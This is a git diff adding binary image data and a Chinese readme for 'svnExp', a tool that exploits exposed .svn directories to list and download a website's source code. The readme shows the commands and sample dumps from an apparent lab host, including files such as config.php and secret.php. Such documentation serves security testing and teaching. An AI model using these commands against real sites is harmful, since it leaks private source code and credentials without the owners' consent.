z*SZPQj(1gsDP=(1+jK2CVy5MtMG404H7@#upk4ok<|hLcO_s)h1j@a(DMVdqVT`xF z(hUE!6~@m)&No6#fdn=&>~x?(_wo9B9l0@cA+~j)swO5TD8rnfQtjJ1(b^4y>gI^N zVUY7k7(tpL$IN%!MxkfbL#^Ma5j<0m*Kddeg~H7JXzT>u+><-^%~nN^ZRbSv7DPZy zZs?8(3B6@D3Z?Z4&#w6!**%e| zqORaUDZxxr>*=yn#lz+IIO!QRJzYr*;|7_7Tq1#aD@h8mKAOg>L$lAx$>C3xurgn} zqF-_+j#~m{cs4m0IP9r9K_ZXJ2l9)Kk4Fu-V(iA&rV;m z4(x@zhd3{Kf6z;bu6SS^N=ok$R*f_fmUSzJHHclEr4NRW3c zv>yK>@xeEV{QS+86$a$)6Y%EEG;7PLyjBd{aM8m#XpwO)W_ekEuAn@yul$~6bl#zM zylRr_db6D^NG+@?dsWwNN7SF6O1p8^{1ty*Mq?MO_P0x?IMwyzGnq`rFMnt|;Ly;tXO z;4dOc+c6JY0v|9<#k@B_Jf-%$C>w~yqQ1%wjd(S})UaLyMhPFmr)AR4dakz;bRte2 z7HyE&Wz)kb9XbRu-E|R==5n)h2_Uo4V{x}NnGRjckgmUGGFDred|lw_l6ErC(-k`F znoQ&jE-!4|$~-Q&nXVBId6PUO*x?3@fBlnXellv? zj>+-Q7r-QWBD_$}yU7XA>{B%SVj%MIqs88o4}?JR^)?fi=}e8v-U{Q;H1;GOCqDF7 z7%2$%JJs&F)5CYU_cEOGLwdJQYlHn{O{U&^n6qr3nK(h=6&Hut2#08ddhwLX(DaR8 z!+Svq>T9DxsTkTZJRXzC`@mII9P*D>&#@#uvTrdVRA*AC>CVDv(}#XeTq3W15>L`G z@@(e*Pzr)cUsbw9f7Kz1fGKcf!5x+%3_@q7^$6#5v^S^$gnjDR8jMZV{nEC3Hm(Fb zWDV`igk=+}Tn#?jA$OmWw0-*C@&NiU5>!)Q;do>1XeFo2wQGy}%L_$#bSX-*{GF-I zO%c{qeROG&xUBnhbI^s&$}`I%dd7G?T!ECplX*qrD>xu_azzI5wc*R6L3fHpo=6pN zFtJp+Ta7%owoD0r!flcpv}Z7`N**k4Sf#`F6XT%zZD>W@`eShuPY zHDY?(I7A6NxUH_X?3fZ8ZRi-!;iQL0aP3J0p14UIGVuiCRE!8cHJ7or7&XF#3D#&Y z7LNG^a3nMBRoz~y0F((6OI8+tDlX)#38^~rV6OzhT>3X0@E>5_Z{29@0N%)*56S6u zhzZ9h^`~kI{DJ3z;~1Y0%n{v@S2Tn%iOQD=HP6S)VLj(%r(y>djUknCW%?mFGj!&W z_`PzF`iy3aQs11B3o&-7f*oMYOneQhJj4N3auB1P6yZUzVw-jbXW1O5vC5C zNgLyoh~BDk_{@}>o2%feoWD{*Nz*`3WR+#Ay6n|DQ=q2I@UJLE?}uN{`SS}3YOAk3 z$nK4TZwflSf4SU&v8x-Jt;kH2#qpJbB7u02Z-}2}SqV?S3NgL%Voc7Z^-2;%XZcpk z-&$b~WHu|?DU4VWCToe ztdgekiitwbP1x4(2|RtC1nDw-JfP%C!jBZDqt2{yndrL zIIuECLeT8WwBFzgk6M^<)+~)i>-#d(i^b-0RPSuiEIDQq_j^RK@qMxJAB<><<54yo zOqy*&DROofTJ$^-@|hceRgwwI-elD%01DL)5A(?n1-y38E}sCIRrk{)LTxW^6_|k3 z{nLEiE~eiW#FcH!+#--ey019(16-?Pv*pOCc2U~%9w~=wZ=@McTLCQB(tTBYGjSEx z4{^4^`+V!aL`S|5sxV=>mFA|${IXDIt_!!?c^DRV3~N9w(RnGly(kDUM^)$2)j~EV z-7;2del;A!Tfe&c?6hUkSj|-X%cr)LcbZ~18XCKT018!(GQgGF*+#XVz3akRj@cryo&Fw&!)NZtxqh4HcjRfOO zTkVfo0;ah&ryugLPZ+u{&+V;&Xp9j zlG}?!DSQY>K)e0_gpvgS7NP)7CA9RFFRZIFj5AQi`Kq6G@@yllh04k!n=ubEIPWUu z#yqCqfuosE9HOGBhEg@uU}Q{r_jQ!cD_&Qn%cN6usF{+?oQQQCtj`-??lEkO(&ODb4T?6r$u;7$RwGRAcVD!!Kxx z-HF_q*H@o)%vXsOTI0&NAL>6#>^}_h)wBLM zn}_V|Q?qHdF8WEwHPW)zbdrT^KDE?cLorTea@|D!6cx~1w}{2Ud%KUr!BIB~EqCiT zx6{^diC)f!%M&_Tl|5I(_Yl5BaeWLhlr_)^f5zNAoLr~mF{C1|k(|AlcgU5TnPy_m-;g7&gfray!QMvxALW?=fo_ZVybwr+m&P3=pTff{hGh?|7Cpfd zlRTWeW*1-hK$r4D);ZQaJGvO;SVl}s&5TLZ;urP7;1t2})8*L}A6pP*Y|YowCm=&! z3l1N|W>Z!yif+HGl)u*@xNY5ccU8c-3|-{0`a`Ufsq>h`*LKrTM#T~*>FnOR@MZhD z-JMO+>GrQ$i zSGz1%*MgGLb@)_x8oex+6H~1~JIhYC@z>O&8JHr%o+ub5R9CZlGYe5qMjs3VFx|%Q zW_!g`(sz+@)Ip!lYa8F=ZuG@q2b@2*a{LArHf;sS+$K)v!aq1mq}UDu_{v3$lltoF z4pJkm3|(y-DAi`K=DO+het31Zeyb;}ftqrY+H+#>3>FVOeO9z`znlQMShdNV%6eiPU2UQp-ccm-lwr1onc~YL zn;8=w;MaLQE;uHU?WFXlS&<-P?K!79$m8V8rGB%P6Uj!}_}s5%CQPmNYU25=mSleC z@k=lrQtV7mS7~I0L>XI^5(fnBRSLPsQ^tl>^|q=)Q7R&f#Gg*95Sd;0Oy(3H8Z-UQ z^ew9FTpB<#vzCi<0vx!vBsW%XaE6K5fL!7G!f$0}^~}kWZ+DTrA?s#Zwo%I&R+aF+ zJ-y-`Lg&b*x?{LOtLqGeSFc~M82^T7Q2Vrp&aVq;AaaBRORO3YZ1?H!o9LQEGe9-3 zBrLla&Xwk->JcJX=@Uv=+4tY(ME?h9v;RkI?f-wW|2o6{-ybu8Uz?hk07@tKJm3*| zq-=d8J^9Ib16@fQXeTG9?-2Lv_=?lxpc`(k*A z8zpfT);x7G_syG$kM8b-IbZ975CV-bRWatwXF_)0u09LbXj$}PRvA7oj;0|fRRfM! z=*zkesS>jU80!dd@5FS#VzUT4{ql)X{)-n+7^^IV7m`3W_R~7KnXa0}|M>9(aA>t# zi-tWLirvI`U_FbYq~FH6JoDBUcHtWiSE zB2|}K<>+jNWHTNU1J4dI@4;eRp8*qgrOLfmcZ~te6}U`=`%2P30K1<)sfs8^=6w2e z#Rd+l4#}IczPUSV!(j=aL)HdPDS}x>5`i*wX@X3XeM>nt0I;k zQV6*~3x&s|0a)BgkpxaUWhOS>A}Q9f1A3B5t!3=zua1B(`vOv?l?|Zb5H)*uB9e`7 z?!&WQESxqp4z76_ZId7Fa;EnggD1t<^?);Jd4ryU<30dB@X(<{uYsOokJuM3bO1HAq|PBue!Dl6R=?5`Q~%YeqDYYlo-0exwTUNQn4G%=E&teXX>iywDqI?rH9wCV;>nBiW2+4oYH@$YGT73Z9v12?rSAo9kH(pa#ey4n|S_1Lrzobp|$poheOm0!f~g;*M|`r;)PuqcMwPv<<}y9m$MXZi#8(wq#>KFuMRn z-=Pib>eHjp{@~=GtQF&j*S7{Q+#>nB_lI5R?=F z;5v3sfX;`Xg8Gg&9+AkP$dVJYYgvHFNpDH?TkC@Ze*JEi3T-1*GfWTk16X;90EA7d zw+#&qeQRF)+zPXr#sR;FJ)HFh;NJM$1K$NqZ0O9J@6fU!Q7w1K%A;ls`go`NiV3r% zj^Ai7pj>G`Js|x2pJqnM9SlVky33cdo~0 zE2>iu7_|t7*&X-XA&2e!qYKdH*$)M#SB{cI?$2-`sNuxP>ICO@*XrIK{-okUEGwaD5MHhT|ee z897=^Uz#6jxn{y|duvGvk(y$;I%UPh_@AW4jObl2(@Py(6*4k@Re#3wG6R=t4;RQ0 zW%rpP5JF8?G?`3VHYdeMy``Y;Qw_K&cpdTEn*%;2AkVhO?J5hsC2Y5_?dg0=&$P_7WS-At&`%4Kpd$eu{GPI??(yy z+e$*6_>1&D)a#X9l8D%=f~@(#p*hj^;!Wqi8Fynp+~}6YxWbvDQ54;0Wa{P#nY4P( zjzU*m+a_3|@;?N|$nfRhzA*)O6ai(e5}n(UrJ((QFZh?n;F5dI;pF|UF8t1ZxQ-!v z5t3J{&PXx!DoTiKYoc7_1pdL(BF})U66GzHqWoMB5p|Yfz3In~C_c)82iNiv<4$;^ z#&{Uce;=YM@F{u;5?57#4GntC{eqXfWrFJ7E>Q)@O^3Izs&7Z3%iJZ`7Qr@+90g@} z5fQf#pmQh%*XUSeM!&jrNWNrrMsd;@p)h9d+2K9I(qY=4qrqT7SU4V&YDLYoHSUdC z&Oso@baFrx!n9r>CCfn>*7m5V81%Qc2y;G%`wZ>a15SUBE}}I}c<$b2$PHA~kn8AUu$Yam?w(+XW^<5{Ufx zt`bld8=AM-E8^-(y0D~akoyoID?kz3Mb;-@|#6|z<#q&+uk|nm2XI(`cUA+IruXp zV8#(!ZaCKiIT!}DdvfE0^L3E~np}UjS_qzo5ruqD2lbvR zK=+`W6&Xs&g<-%)Go)UiZXjd(`52Hpz4;SoL~$GwK&momc%MlN_Ibk_4_77YpL0Ui z&rmK!Kg<||sNvdnQwMI*)QZ%@fl;ewwZ1ca~pR$N{mkdzF|G92-tr?siX`J0E12 zvf}-2LQ#(#yL|eETL1++_xX9K6XBkXhU6;s$)~PT*1P2xR~G%AKl7)HW};I@iE4UVySUKmC)3 z1uUMc#9@uZC1hvBNU~O0Mn6@6B&TQj>!K)tUT4C{>bojRelu^0EGDa<`(e87nS#{q z_gB>SxCH^KCBN~g3P6|!UAO+o5vM>`L2b2U3IZUe4M1RwHvuWCvOQC|{5SCf82xRu$ zo*3I2ysgD(CLCQq+7zd#kVt?2@GUp00jh1JmRrIy$9sa*8@ohDy;VPY0R0h0b}B+G zY^R!6T67fJ5j@=`HsJa7+(&Q`q0Q*ovuFP~%5~u*%R#3NroBg6uL6{QR73=hX}fvf zr)2&K%Hv0W<#>z!DdGST z9sxau(;AQYLVv#uZB3Wr8wy^!Hq%#O*dvqtAbkxw3O&fgbZ6`Lf;$7#GX+DXFQAB+ z??eBqJ`9rwTLjb;TdVyZzsFyA_(cC2Cuj5Vg)FnL&J7mQtPM~?Yk@?h1YSi=&6aJ; zbr4@6e(Ce|WN@PoeL$%5!p2V-7;#P3K*x5Io*I328A0dT66|Y*43YML?^XhJSKiXA z^AJe;J2UaDcLHM|wQQi{Y;eYldP>pEYA0S^rv1mt6eNS&;kb6!!geQ)${oLvm>LiA zWjwNGW4aLNY+CVj`4vb(v0dj*Y2T%g3wZxdFeAt**n2^)RRs|i{(@_i`Q)*?vyE|< zzATS55pj$xsx3LcD5Z{oe1?hvUMugOXz3~sXcB|%|0J7r| z&>5l)SeIWwb@&rh8d^Y~MfYiTZ3bl0F>Yvk;8&m+`U)7QDKjnTA! G^1lG)(a75X literal 0 HcmV?d00001 diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/readme.md b/svn_file_disclosure/SVN 源代码泄露利用工具/readme.md new file mode 100644 index 0000000..b9fdc9e --- /dev/null +++ b/svn_file_disclosure/SVN 源代码泄露利用工具/readme.md @@ -0,0 +1,153 @@ +# SVN 源代码泄露利用工具 + +>SvnExp是一款SVN源代码利用工具,其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露,更多请阅读: + + +## Useage +安装依赖库 + +``` +sudo pip install -r requirements.txt +``` + +查看帮助 +``` +python svnExp.py -h +``` + +检测SVN源代码泄露 +``` +python svnExp.py -u http://192.168.27.128/.svn +``` + +下载源代码 +``` +python svnExp.py -u http://192.168.27.128/.svn --dump +``` +## Example +### svn > 1.7版本 +![svn >1.7](images/svnGR1.7.png) + +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/ + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn +Author: AdminTony (http://admintony.com) +https://github.com/admintony/svnExp + + ++--------------------+----------+------------------------------------------------+ +| 文件名 | 文件类型 | CheckSum | ++--------------------+----------+------------------------------------------------+ +| conn.php | file | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 | +| trunk | dir | None | +| branches | dir | None | +| admin_login.php | file | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 | +| phpmyadmin | file | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 | +| README.TXT | file | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 | +| README.txt | file | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 | +| secret.php | file | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 | +| README.md | file | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b | +| img/login_bg01.jpg | file | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd | +| img | dir | None | +| index.php | file | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 | +| test.sql | file | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 | +| admin.php | file | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f | +| document | dir | None | +| tags | dir | None | ++--------------------+----------+------------------------------------------------+ +``` + +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn + ++--------------------+--------------------------------------------------------------------+----------+ +| 文件名 | URL | 下载状态 | ++--------------------+--------------------------------------------------------------------+----------+ +| conn.php | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 | +| README.TXT | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 | +| README.txt | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 | +| phpmyadmin | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 | +| secret.php | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 | +| README.md | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 | +| admin_login.php | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 | +| index.php | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 | +| admin.php | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 | +| test.sql | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 | +| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 | ++--------------------+--------------------------------------------------------------------+----------+ +[+] 已经Dump完成! +``` + +## svn < 1.7版本 + +![svn<1.7](images/svnLE1.7.png) +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/ + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn + ++---------------------+----------+---------------------------------------------+ +| 文件名 | 文件类型 | URL | ++---------------------+----------+---------------------------------------------+ +| favicon.ico | file | /.svn/text-base/favicon.ico.svn-base | +| index.html | file | /.svn/text-base/index.html.svn-base | +| phpinfo.php | file | /.svn/text-base/phpinfo.php.svn-base | +| shell.php | file | /.svn/text-base/shell.php.svn-base | +| config/config.php | file | config/.svn/text-base/config.php.svn-base | +| css/add.css | file | css/.svn/text-base/add.css.svn-base | +| css/colorbox.css | file | css/.svn/text-base/colorbox.css.svn-base | +| css/company.css | file | css/.svn/text-base/company.css.svn-base | +| images/btn_back.png | file | images/.svn/text-base/btn_back.png.svn-base | +| images/gitf.png | file | images/.svn/text-base/gitf.png.svn-base | +| js/common.js | file | js/.svn/text-base/common.js.svn-base | +| js/jquery.min.js | file | js/.svn/text-base/jquery.min.js.svn-base | +| js/loop.js | file | js/.svn/text-base/loop.js.svn-base | ++---------------------+----------+---------------------------------------------+ +``` + +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/ --dump + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn + ++---------------------+---------------------------------------------+----------+ +| 文件名 | URL | 下载状态 | ++---------------------+---------------------------------------------+----------+ +| favicon.ico | /.svn/text-base/favicon.ico.svn-base | 下载成功 | +| index.html | /.svn/text-base/index.html.svn-base | 下载成功 | +| phpinfo.php | /.svn/text-base/phpinfo.php.svn-base | 下载成功 | +| shell.php | /.svn/text-base/shell.php.svn-base | 下载成功 | +| config/config.php | config/.svn/text-base/config.php.svn-base | 下载成功 | +| css/add.css | css/.svn/text-base/add.css.svn-base | 下载成功 | +| css/colorbox.css | css/.svn/text-base/colorbox.css.svn-base | 下载成功 | +| css/company.css | css/.svn/text-base/company.css.svn-base | 下载成功 | +| images/btn_back.png | images/.svn/text-base/btn_back.png.svn-base | 下载成功 | +| images/gitf.png | images/.svn/text-base/gitf.png.svn-base | 下载成功 | +| js/common.js | js/.svn/text-base/common.js.svn-base | 下载成功 | +| js/jquery.min.js | js/.svn/text-base/jquery.min.js.svn-base | 下载成功 | +| js/loop.js | js/.svn/text-base/loop.js.svn-base | 下载成功 | ++---------------------+---------------------------------------------+----------+ +``` \ No newline at end of file diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt b/svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt new file mode 100644 index 0000000..9cd076b --- /dev/null +++ b/svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt @@ -0,0 +1,2 @@ +requests +prettytable